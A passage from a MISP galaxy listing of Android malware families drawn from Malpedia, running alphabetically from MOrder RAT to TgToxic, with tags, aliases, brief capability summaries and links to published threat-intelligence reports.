https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://securelist.com/roaming-mantis-dns-changer-in-malicious-mobile-app/108464/
https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html
https://securelist.com/roaming-mantis-part-v/96250/
https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/
https://www.team-cymru.com/post/moqhao-part-3-recent-global-targeting-trends
https://www.telekom.com/en/blog/group/article/moqhao-masters-new-tricks-1031484
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/
https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf
https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681
https://www.broadcom.com/support/security-center/protection-bulletin/moqhao-malware-continues-to-target-mobile-users-in-europe
https://www.xanhacks.xyz/p/moqhao-malware-analysis
https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/
https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf
https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/

MOrder RAT

The tag is: *misp-galaxy:malpedia="MOrder RAT"*

MOrder RAT is also known as:

Table 2270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.morder_rat
https://www.ctfiot.com/138538.html

Mudwater

The tag is: *misp-galaxy:malpedia="Mudwater"*

Mudwater is also known as:

Table 2271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mudwater
https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf

MysteryBot

MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.

The tag is: *misp-galaxy:malpedia="MysteryBot"*

MysteryBot is also known as:

Table 2272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mysterybot
https://www.threatfabric.com/blogs/mysterybota_new_android_banking_trojan_ready_for_android_7_and_8.html

Nexus

The tag is: *misp-galaxy:malpedia="Nexus"*

Nexus is also known as:

Table 2273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.nexus
https://www.cleafy.com/cleafy-labs/nexus-a-new-android-botnet
<a href="https://liansecurity.com/<mark>/main/news/RWt_ZocBrFZDfCElFqw_/detail">https://liansecurity.com/</mark>/main/news/RWt_ZocBrFZDfCElFqw_/detail

OmniRAT

The tag is: *misp-galaxy:malpedia="OmniRAT"*

OmniRAT is also known as:

Table 2274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat
https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Android.OmniRAT
https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co

Oscorp

The tag is: *misp-galaxy:malpedia="Oscorp"*

Oscorp is also known as:

- UBEL

Table 2275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.oscorp
https://cert-agid.gov.it/news/individuato-sito-che-veicola-in-italia-un-apk-malevolo/
https://www.cleafy.com/cleafy-labs/ubel-oscorp-evolution

PackChat

The tag is: *misp-galaxy:malpedia="PackChat"*

PackChat is also known as:

Table 2276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.packchat
https://news.sophos.com/en-us/2021/01/12/new-android-spyware-targets-users-in-pakistan/

PhantomLance

The tag is: *misp-galaxy:malpedia="PhantomLance"*

PhantomLance is also known as:

- PWNDROID1

Table 2277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance
https://securelist.com/apt-phantomlance/96772/
https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html
https://securelist.com/it-threat-evolution-q2-2020/98230
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf
https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view
https://securelist.com/apt-trends-report-q2-2020/97937/

Phoenix

The tag is: *misp-galaxy:malpedia="Phoenix"*

Phoenix is also known as:

Table 2278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.phoenix
https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3

PhoneSpy

According to Zimperium, PhoneSpy is a spyware aimed at South Korean residents with Android devices.

The tag is: *misp-galaxy:malpedia="PhoneSpy"*

PhoneSpy is also known as:

Table 2279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.phonespy
https://blog.zimperium.com/phonespy-the-app-based-cyberattack-snooping-south-korean-citizens/

PINEFLOWER

According to Mandiant, PINEFLOWER is an Android malware family capable of a wide range of backdoor functionality, including stealing system inform information, logging and recording phone calls, initiating audio recordings, reading SMS inboxes and sending SMS messages. The malware also has features to facilitate device location tracking, deleting, downloading, and uploading files, reading connectivity state, speed, and activity, and toggling Bluetooth, Wi-Fi, and mobile data settings.

The tag is: *misp-galaxy:malpedia="PINEFLOWER"*

PINEFLOWER is also known as:

Table 2280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pineflower
https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

PixPirate

According to PCrisk, The PixPirate is a dangerous Android banking Trojan that has the capability to carry out ATS (Automatic Transfer System) attacks. This allows threat actors to automatically transfer funds through the Pix Instant Payment platform, which numerous Brazilian banks use.

In addition to launching ATS attacks, PixPirate can intercept and delete SMS messages, prevent the uninstallation process, and carry out malvertising attacks.

The tag is: *misp-galaxy:malpedia="PixPirate"*

PixPirate is also known as:

Table 2281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate
https://securityintelligence.com/posts/pixpirate-back-spreading-via-whatsapp/
https://www.cleafy.com/cleafy-labs/pixpirate-a-new-brazilian-banking-trojan

PixStealer

The tag is: *misp-galaxy:malpedia="PixStealer"*

PixStealer is also known as:

- BrazKing

Table 2282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer
https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/
https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/

PjobRAT

The tag is: *misp-galaxy:malpedia="PjobRAT"*

PjobRAT is also known as:

Table 2283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat
https://cybleinc.com/2021/06/22/android-application-disguised-as-dating-app-targets-indian-military-personnel/
https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ
https://labs.k7computing.com/?p=22537

PlainGnome

According to Lookout, PlainGnome consists of a two-stage deployment in which a very minimal first stage drops a malicious APK once it's installed. The code of PlainGnome's second stage payload evolved significantly from January 2024 through at least October. In particular, PlainGnome's developers shifted to using Jetpack WorkManager classes to handle data exfiltration, which eases development and maintenance of related code. In addition, WorkManager allows for specifying execution conditions. For example, PlainGnome only exfiltrates data from victim devices when the device enters an idle state. This mechanism is probably intended to reduce the chance of a victim noticing the presence of PlainGnome on their device. As opposed to the minimalist first (installer) stage, the second stage carries out all surveillance functionality and relies on 38 permissions.

The tag is: *misp-galaxy:malpedia="PlainGnome"*

PlainGnome is also known as:

Table 2284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.plain_gnome
https://www.lookout.com/threat-intelligence/article/gamaredon-russian-android-surveillanceware

Podec

The tag is: *misp-galaxy:malpedia="Podec"*

Podec is also known as:

Table 2285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec
https://securelist.com/jack-of-all-trades/83470/

X-Agent (Android)

The tag is: *misp-galaxy:malpedia="X-Agent (Android)"*

X-Agent (Android) is also known as:

- Popr-d30

Table 2286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30
http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/
http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/

Fake Pornhub

The tag is: *misp-galaxy:malpedia="Fake Pornhub"*

Fake Pornhub is also known as:

Table 2287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub

Premier RAT

The tag is: *misp-galaxy:malpedia="Premier RAT"*

Premier RAT is also known as:

Table 2288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat

https://twitter.com/LukasStefanko/status/1084774825619537925

Princess

The tag is: *misp-galaxy:malpedia="Princess"*

Princess is also known as:

Table 2289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.princess
https://www.sentinelone.com/labs/phantomcaptcha-multi-stage-websocket-rat-targets-ukraine-in-single-day-spearphishing-operation/

Rafel RAT

The tag is: *misp-galaxy:malpedia="Rafel RAT"*

Rafel RAT is also known as:

Table 2290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rafelrat
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
https://github.com/swagkarna/Rafel-Rat

RambleOn

The tag is: *misp-galaxy:malpedia="RambleOn"*

RambleOn is also known as:

Table 2291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rambleon
https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab
https://interlab.or.kr/archives/2567

Rana

The tag is: *misp-galaxy:malpedia="Rana"*

Rana is also known as:

Table 2292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rana
https://blog.reversinglabs.com/blog/rana-android-malware

RatMilad

RatMilad, a newly discovered Android spyware, has been stealing data from mobile devices in the Middle East. The malware is spread through links on social media and pretends to be applications for services like VPN and phone number spoofing. Unwary users download these trojan applications and grant access to malware.

The tag is: *misp-galaxy:malpedia="RatMilad"*

RatMilad is also known as:

Table 2293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ratmilad
https://socradar.io/new-spyware-ratmilad-targets-middle-eastern-mobile-devices

RatOn

According to ThreatFabric, this RAT can perform NFC relay attacks and has Automated Transfer ystem (ATS) capabilities

The tag is: *misp-galaxy:malpedia="RatOn"*

RatOn is also known as:

Table 2294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rat_on
https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats

Raxir

The tag is: *misp-galaxy:malpedia="Raxir"*

Raxir is also known as:

Table 2295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.raxir
https://twitter.com/PhysicalDrive0/statuses/798825019316916224

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

The tag is: *misp-galaxy:malpedia="RedAlert2"*

RedAlert2 is also known as:

Table 2296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores

Remo

The tag is: *misp-galaxy:malpedia="Remo"*

Remo is also known as:

- PlayPraetor

Table 2297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.remo
https://cyble.com/blog/new-remo-android-banking-trojan-targets-over-50-banking-applications-and-crypto-wallets/
https://cdn.prod.website-files.com/66fbdb04ee8bb0436308fc15/67cec4cfaddc1d68628d2ef6_CTM360%20Report_%20PlayPraetor%20Trojan%20-%20Clear%20TLP%20(2).pdf

RemRAT

The tag is: *misp-galaxy:malpedia="RemRAT"*

RemRAT is also known as:

Table 2298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.remrat
https://blogs.360.cn/post/analysis-of-RemRAT.html

Retefe (Android)

The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim's phone doesn't get infected.

The tag is: *misp-galaxy:malpedia="Retefe (Android)"*

Retefe (Android) is also known as:

Table 2299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html
http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html
http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/
https://www.govcert.admin.ch/blog/33/the-retefe-saga
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html

Revive

According to PCrisk, Revive is the name of a banking Trojan targeting Android users (customers of a specific Spanish bank). It steals sensitive information. Cybercriminals use Revive to take ownership of online accounts using stolen login credentials. This malware abuses Accessibility Services to perform malicious activities.

The tag is: *misp-galaxy:malpedia="Revive"*

Revive is also known as:

Table 2300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.revive
https://www.cleafy.com/cleafy-labs/revive-from-spyware-to-android-banking-trojan

Riltok

The tag is: *misp-galaxy:malpedia="Riltok"*

Riltok is also known as:

Table 2301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.riltok
https://securelist.com/mobile-banker-riltok/91374/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

Roaming Mantis

The tag is: *misp-galaxy:malpedia="Roaming Mantis"*

Roaming Mantis is also known as:

Table 2302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis
https://systemweakness.com/a-strange-font-smishing-that-changes-behaviour-based-on-user-agent-and-abuses-duck-dns-1c1a45863ff7
https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/
https://securelist.com/roaming-mantis-part-v/96250/
https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/
https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf
https://systemweakness.com/investigating-a-fake-mobile-payment-smishing-that-abuses-duck-dns-d07c72468ba8
https://securelist.com/roaming-mantis-reaches-europe/105596/

Rogue

The tag is: *misp-galaxy:malpedia="Rogue"*

Rogue is also known as:

Table 2303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rogue
https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/

Rootnik

The tag is: *misp-galaxy:malpedia="Rootnik"*

Rootnik is also known as:

Table 2304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik
https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java
https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer

Salvador Stealer

According to ANY.RUN, this is a banking trojan that this collection sensitive user information, including: Registered mobile number, Aadhaar number, PAN card details, Date of birth, and Net banking user ID and password. It uses Telegram as C2.

The tag is: *misp-galaxy:malpedia="Salvador Stealer"*

Salvador Stealer is also known as:

Table 2305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.salvador
https://any.run/cybersecurity-blog/salvador-stealer-malware-analysis/

Sauron Locker

The tag is: *misp-galaxy:malpedia="Sauron Locker"*

Sauron Locker is also known as:

Table 2306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sauron_locker
https://twitter.com/LukasStefanko/status/1117795290155819008

SharkBot

SharkBot is a piece of malicious software targeting Android Operating Systems (OSes). It is designed to obtain and misuse financial data by redirecting and stealthily initiating money transfers. SharkBot is particularly active in Europe (United Kingdom, Italy, etc.), but its activity has also been detected in the United States.

The tag is: *misp-galaxy:malpedia="SharkBot"*

SharkBot is also known as:

Table 2307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot
https://muha2xmad.github.io/malware-analysis/sharkbot/
https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/
https://bin.re/blog/the-dgas-of-sharkbot/
https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf
https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe
https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html
https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/
https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/
https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/

Shopper

Shopper/LeifAccess is a malicious Android app that uses Android's AccessibilityService to secretly control the device. It installs apps, leaves fake reviews, opens ads, and even registers users on

various platforms. Disguised as a system app, it collects personal and device information and sends it to remote servers. The malware was most active in late 2019, especially in Russia, Brazil, and India.

The tag is: *misp-galaxy:malpedia="Shopper"*

Shopper is also known as:

- LeifAccess

Table 2308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.shopper
https://securelist.com/smartphone-shopaholic/95544/

SideWinder (Android)

SideWinder involved a fake VPN app for Android devices published on Google Play Store along with a custom tool that filters victims for better targeting.

The tag is: *misp-galaxy:malpedia="SideWinder (Android)"*

SideWinder (Android) is also known as:

Table 2309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sidewinder
https://ti.qianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/
https://www.group-ib.com/blog/hunting-sidewinder/

SilkBean

The tag is: *misp-galaxy:malpedia="SilkBean"*

SilkBean is also known as:

Table 2310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.silkbean
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

Skygofree

The tag is: *misp-galaxy:malpedia="Skygofree"*

Skygofree is also known as:

Table 2311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.skygofree
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

Slempo

The tag is: *misp-galaxy:malpedia="Slempo"*

Slempo is also known as:

- SlemBunk

Table 2312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo
https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html
https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html

Slocker

Slocker also known as jisut and pigetrl, is a screen locker that is distributed through telegram groups.

The tag is: *misp-galaxy:malpedia="Slocker"*

Slocker is also known as:

- Jisut
- Simple Locker

Table 2313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker
https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/

https://www.bitdefender.com/en-us/blog/labs/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage
https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

SmsAgent

SMSAgent appears as a game application, but silently performs malicious routines in the background. It attempts to download other potentially malicious files from a remote server and sends out SMS or MMS messages that places expensive charges on the user's bill.

The tag is: *misp-galaxy:malpedia="SmsAgent"*

SmsAgent is also known as:

Table 2314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/
https://blog.alyac.co.kr/2128

SMSspy

The tag is: *misp-galaxy:malpedia="SMSspy"*

SMSspy is also known as:

Table 2315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsspy

SoumniBot

The tag is: *misp-galaxy:malpedia="SoumniBot"*

SoumniBot is also known as:

Table 2316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.soumnibot
https://securelist.com/soumnibot-android-banker-obfuscates-app-manifest/112334/

S.O.V.A.

The tag is: *misp-galaxy:malpedia="S.O.V.A."*

S.O.V.A. is also known as:

Table 2317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova
https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly
https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/
https://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08
https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html
https://blog.cyble.com/2023/03/09/nexus-the-latest-android-banking-trojan-with-sova-connections
https://muha2xmad.github.io/malware-analysis/sova/
<a href="https://liansecurity.com/<mark>/main/news/RWt_ZocBrFZDfCElFqw_/detail">https://liansecurity.com/</mark>/main/news/RWt_ZocBrFZDfCElFqw_/detail

SpyBanker

The tag is: *misp-galaxy:malpedia="SpyBanker"*

SpyBanker is also known as:

Table 2318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker
http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/
https://news.drweb.com/show/?i=11104&lng=en

SpyC23

The tag is: *misp-galaxy:malpedia="SpyC23"*

SpyC23 is also known as:

Table 2319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spyc23

https://www.welivesecurity.com/2020/09/30/aptc23-group-evolves-its-android-spyware/

SpyMax

SpyMax is a popular Android surveillance tool. Its predecessor, SpyNote, was one of the most widely used spyware frameworks.

The tag is: *misp-galaxy:malpedia="SpyMax"*

SpyMax is also known as:

Table 2320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax
https://www.mobile-hacker.com/2025/06/05/analysis-of-spyware-that-helped-to-compromise-a-syrian-army-from-within/#google_vignette
https://labs.k7computing.com/index.php/spymax-a-fake-wedding-invitation-app-targeting-indian-mobile-users/
https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html
https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions
https://www.group-ib.com/blog/craxs-rat-malware/
https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league
https://twitter.com/malwrhunterteam/status/1250412485808717826
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset

SpyNote

According to Cleafy, SpyNote abuses Accessibility services and other Android permissions in order to: Collect SMS messages and contacts list; Record audio and screen; Perform keylogging activities; Bypass 2FA; Track GPS locations.

The tag is: *misp-galaxy:malpedia="SpyNote"*

SpyNote is also known as:

- CypherRat

Table 2321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote
https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan
https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html

https://hunt.io/blog/inside-a-cybercriminal-s-server-ddos-tools-spyware-apks-and-phishing-pages
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://www.intrinsec.com/wp-content/uploads/2024/11/TLP-CLEAR-PROSPERO-Proton66-Uncovering-the-links-between-bulletproof-networks.pdf
https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w
https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions
https://hunt.io/blog/caught-in-the-act-uncovering-spynote-in-unexpected-places
https://www.fortinet.com/blog/threat-research/android-spynote-moves-to-crypto-currencies
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr
https://dti.domaintools.com/newly-registered-domains-distributing-spynote-malware/
https://labs.k7computing.com/index.php/spynote-an-android-snooper/
https://cocomelonc.github.io/book/2025/05/19/aiya-mmd-book.html
https://www.bleepingcomputer.com/news/security/spynote-android-malware-infections-surge-after-source-code-leak/
https://www.group-ib.com/blog/craxs-rat-malware/
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/
https://cryptax.medium.com/android-spynote-bypasses-restricted-settings-breaks-many-re-tools-8791b3e6bf38
https://labs.k7computing.com/index.php/spynote-targets-irctc-users/
https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions
https://medium.com/@mvaks/analysis-of-malicious-mobile-applications-impersonating-popular-polish-apps-olx-allegro-iko-7dab879a320d
https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/

StealthAgent

The tag is: *misp-galaxy:malpedia="StealthAgent"*

StealthAgent is also known as:

Table 2322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthagent
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Stealth Mango

The tag is: *misp-galaxy:malpedia="Stealth Mango"*

Stealth Mango is also known as:

Table 2323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.stealthmango
https://www.lookout.com/info/stealth-mango-report-ty
https://www.lookout.com/blog/stealth-mango

Sturnus

According to ThreatFabric, Sturnus is a privately operated Android banking trojan. This malware supports a broad range of fraud-related capabilities, including full device takeover. A key differentiator is its ability to bypass encrypted messaging. By capturing content directly from the device screen after decryption, Sturnus can monitor communications via WhatsApp, Telegram, and Signal.

The trojan can harvest banking credentials through convincing fake login screens that replicate legitimate banking apps. In addition, it provides attackers with extensive remote control, enabling them to observe all user activity, inject text without physical interaction, and even black out the device screen while executing fraudulent transactions in the background—without the victim's knowledge.

The tag is: *misp-galaxy:malpedia="Sturnus"*

Sturnus is also known as:

Table 2324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.sturnus
https://www.threatfabric.com/blogs/sturnus-banking-trojan-bypassing-whatsapp-telegram-and-signal

Svpeng

Svpeng is a malicious banking trojan targeting Android devices, and it poses a significant threat to both mobile users and the developers of mobile banking apps. Svpeng has been active since around 2013. It primarily targets Android users, and its main objective is to steal sensitive financial information, particularly login credentials and personal data related to banking and financial apps. Svpeng typically spreads through malicious apps, phishing campaigns, or drive-by downloads.

The tag is: *misp-galaxy:malpedia="Svpeng"*

Svpeng is also known as:

Table 2325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.svpeng
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/

Switcher

The tag is: *misp-galaxy:malpedia="Switcher"*

Switcher is also known as:

Table 2326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.switcher
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/

TalentRAT

The tag is: *misp-galaxy:malpedia="TalentRAT"*

TalentRAT is also known as:

- Assassin RAT

Table 2327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.talent_rat
https://www.secureworks.com/research/threat-profiles/platinum-terminal
https://twitter.com/LukasStefanko/status/1118066622512738304

TangleBot

The tag is: *misp-galaxy:malpedia="TangleBot"*

TangleBot is also known as:

Table 2328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tangle_bot
https://www.cleafy.com/cleafy-labs/medusa-reborn-a-new-compact-variant-discovered
https://www.proofpoint.com/us/blog/threat-insight/mobile-malware-tanglebot-untangled

TeleRAT

The tag is: *misp-galaxy:malpedia="TeleRAT"*

TeleRAT is also known as:

Table 2329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.telerat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

TemptingCedar Spyware

Tempting cedar spyware is an Android spyware campaign, active since at least 2015, that used social engineering via fake, attractive Facebook profiles to trick victims into downloading malware. The spyware was designed to steal a wide range of sensitive personal data.

The tag is: *misp-galaxy:malpedia="TemptingCedar Spyware"*

TemptingCedar Spyware is also known as:

Table 2330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tempting_cedar
https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware

TgToxic

According to Trend Micro, TgToxic has been used in an ongoing campaign that has been targeting Android users in Southeast Asia since July 2022. Goal of the campaign is to steal victims' assets from finance and banking applications (such as cryptocurrency wallets, credentials for official bank apps

